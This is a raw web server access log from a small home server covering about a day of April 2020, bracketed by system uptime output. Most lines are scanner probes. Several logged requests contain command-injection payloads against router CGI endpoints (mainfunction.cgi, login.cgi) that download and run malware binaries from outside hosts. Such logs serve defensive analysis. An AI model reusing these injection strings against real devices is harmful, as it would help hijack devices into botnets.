Fri Apr 24 06:25:06 MDT 2020 06:25:06 up 59 days, 10:53, 1 user, load average: 0.43, 0.31, 0.27 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 59days 1:18m 2.53s /usr/bin/lxsession -s LXDE-pi -e LXDE 94.53.166.68 - - [24/Apr/2020:12:53:48 +0000] "GET / HTTP/1.1" 400 0 "" "" 202.5.42.195 - - [24/Apr/2020:13:39:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 92.24.58.141 - - [24/Apr/2020:14:18:01 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 162.243.128.214 - - [24/Apr/2020:14:24:59 +0000] "GET /hudson HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 194.12.100.20 - - [24/Apr/2020:14:27:37 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 62.210.29.120 - - [24/Apr/2020:14:37:15 +0000] "GET / HTTP/1.1" 200 25000 "" "" 165.16.37.150 - - [24/Apr/2020:14:51:20 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 183.136.225.45 - - [24/Apr/2020:14:55:16 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" 193.112.126.1 - - [24/Apr/2020:15:07:15 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 51.68.70.66 - - [24/Apr/2020:17:00:29 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 162.243.130.199 - - [24/Apr/2020:17:40:10 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 183.136.225.45 - - [24/Apr/2020:17:40:53 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" 162.212.225.69 - - [24/Apr/2020:18:46:47 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 81.82.247.71 - - [24/Apr/2020:19:12:37 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC BOTNET" 81.82.247.71 - - [24/Apr/2020:19:12:37 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 193.118.53.194 - - [24/Apr/2020:19:32:16 +0000] "GET /solr/ HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 " 208.91.109.18 - - [24/Apr/2020:19:41:56 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 208.91.109.18 - - [24/Apr/2020:19:41:56 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 120.27.222.26 - - [24/Apr/2020:19:59:29 +0000] "GET /cgi-bin/luci HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 120.27.222.26 - - [24/Apr/2020:19:59:30 +0000] "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 120.27.222.26 - - [24/Apr/2020:19:59:31 +0000] "GET /remote/login?lang=en HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 120.27.222.26 - - [24/Apr/2020:19:59:32 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 120.27.222.26 - - [24/Apr/2020:19:59:33 +0000] "GET /index.asp HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 120.27.222.26 - - [24/Apr/2020:19:59:33 +0000] "GET /htmlV/welcomeMain.htm HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 67.207.157.28 - - [24/Apr/2020:20:13:40 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 108.68.60.225 - - [24/Apr/2020:20:49:59 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS HTTP/1.1" 400 0 "" "" 108.68.60.225 - - [24/Apr/2020:20:49:59 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 88.135.80.13 - - [24/Apr/2020:21:01:36 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 179.104.228.62 - - [24/Apr/2020:21:06:23 +0000] "GET / HTTP/1.1" 400 0 "" "" 46.1.214.82 - - [24/Apr/2020:21:51:27 +0000] "GET / HTTP/1.1" 400 0 "" "" 89.120.113.68 - - [24/Apr/2020:21:52:23 +0000] "GET / HTTP/1.1" 400 0 "" "" 35.223.79.230 - - [24/Apr/2020:22:27:58 +0000] "GET /cgi-bin/luci HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 35.223.79.230 - - [24/Apr/2020:22:27:59 +0000] "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 35.223.79.230 - - [24/Apr/2020:22:27:59 +0000] "GET /remote/login?lang=en HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 35.223.79.230 - - [24/Apr/2020:22:27:59 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 35.223.79.230 - - [24/Apr/2020:22:28:00 +0000] "GET /index.asp HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 35.223.79.230 - - [24/Apr/2020:22:28:00 +0000] "GET /htmlV/welcomeMain.htm HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 189.108.133.106 - - [25/Apr/2020:00:02:11 +0000] "GET / HTTP/1.1" 400 0 "" "" 187.145.21.110 - - [25/Apr/2020:00:35:06 +0000] "GET / HTTP/1.1" 400 0 "" "" 187.145.21.110 - - [25/Apr/2020:00:36:36 +0000] "GET / HTTP/1.1" 400 0 "" "" 190.166.176.99 - - [25/Apr/2020:01:38:23 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS HTTP/1.1" 400 0 "" "" 190.166.176.99 - - [25/Apr/2020:01:38:24 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 147.158.139.213 - - [25/Apr/2020:02:08:47 +0000] "GET / HTTP/1.1" 400 0 "" "" 202.40.191.115 - - [25/Apr/2020:02:20:05 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 202.40.191.115 - - [25/Apr/2020:02:20:07 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:08 +0000] "GET /TP/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:08 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:09 +0000] "GET /html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:09 +0000] "GET /public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:10 +0000] "GET /TP/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:10 +0000] "GET /elrekt.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:11 +0000] "GET /index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.40.191.115 - - [25/Apr/2020:02:20:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 192.241.238.51 - - [25/Apr/2020:02:24:14 +0000] "GET /portal/redlion HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 103.42.255.91 - - [25/Apr/2020:02:40:10 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 94.140.114.17 - - [25/Apr/2020:02:50:29 +0000] "GET / HTTP/1.0" 200 25000 "" "Pandalytics/1.0 (https://domainsbot.com/pandalytics/)" 183.136.225.45 - - [25/Apr/2020:03:55:36 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" 83.97.20.21 - - [25/Apr/2020:05:20:02 +0000] "GET / HTTP/1.0" 200 25000 "" "" 47.44.216.50 - - [25/Apr/2020:06:18:23 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 47.44.216.50 - - [25/Apr/2020:06:18:23 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 95.106.155.149 - - [25/Apr/2020:07:02:13 +0000] "GET / HTTP/1.1" 400 0 "" "" 168.0.174.126 - - [25/Apr/2020:07:34:46 +0000] "GET / HTTP/1.1" 400 0 "" "" 45.58.134.98 - - [25/Apr/2020:08:00:46 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 123.129.174.118 - - [25/Apr/2020:08:34:59 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://37.49.226.16/luoqxbocmkxnexy/tbox.mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 0 "" "tbox/2.0" 123.129.174.118 - - [25/Apr/2020:08:35:00 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 183.136.225.45 - - [25/Apr/2020:09:56:17 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" 150.136.45.98 - - [25/Apr/2020:09:58:42 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:44 +0000] "GET /home.asp HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:44 +0000] "GET /login.cgi?uri= HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:44 +0000] "GET /vpn/index.html HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:45 +0000] "GET /cgi-bin/luci HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:46 +0000] "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:46 +0000] "GET /remote/login?lang=en HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:47 +0000] "GET /index.asp HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.45.98 - - [25/Apr/2020:09:58:47 +0000] "GET /htmlV/welcomeMain.htm HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 78.133.37.45 - - [25/Apr/2020:11:23:54 +0000] "GET / HTTP/1.1" 400 0 "" "" 78.172.21.150 - - [25/Apr/2020:12:07:22 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 154.79.251.2 - - [25/Apr/2020:12:10:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" Sat Apr 25 06:25:06 MDT 2020 06:25:07 up 60 days, 10:53, 1 user, load average: 0.28, 0.23, 0.19 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 60days 1:19m 2.53s /usr/bin/lxsession -s LXDE-pi -e LXDE